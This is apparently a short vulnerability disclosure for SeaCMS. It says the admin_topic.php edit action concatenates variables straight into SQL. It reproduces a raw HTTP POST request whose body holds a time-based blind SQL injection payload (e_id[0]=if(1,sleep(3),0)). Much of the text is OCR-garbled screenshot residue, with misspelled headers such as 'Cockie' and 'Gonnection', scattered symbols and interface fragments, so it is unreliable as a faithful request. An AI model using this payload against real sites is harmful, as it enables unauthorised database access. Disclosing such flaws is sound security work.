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Variables are simply concatenated directly into sql statements resulting in sql injection
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Sending a request triggers sql injection
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POST /8mrumn/admin_topic.php?action=edit HTTP/1.1
Host: 192.168.255.156

Cache-Control: max—age=0
Upgrade—Insecure-Requests: 1

Origin: http://192.168. 255. 156

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:129.0)

Gecko/20100101 Firefox/129.0
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, im
age/webp, image/apng;q=0. 8, application/signed-exchange;v=b3;q=0. 7

Referer:

http://192. 168. 255. 156/8mrumn/admin_datarelate. php?action=result

Accept—Encoding: gzip, deflate, br
Accept-Language: zh-CN, zh;q=0.9

Cockie: PHPSESSID=5v93294nu5rugkd20héd|s jrhd
Gonnection.. keepralive

Content—Typ:

application/x—www—form-ur lencoded
Content-Length: 24

e_id[0]=if (1, sleep(3),0)

@& €| | search

FEAE

Fuantlna M ®  alliccinae 21 ®

Lolvd
= Raw

(OGRS

Hex

Search

B n

Notes

BiF: http://192.168.255.156 /©  HTTP/1 (3)

D & x

3p

1opadsu|

ss1oN @

44775 | 3,046 millis

M the= 216 700


https://github.com/202110420106/CVE/blob/master/seacms/images/topic2.png
https://github.com/202110420106/CVE/blob/master/seacms/images/topic2.png

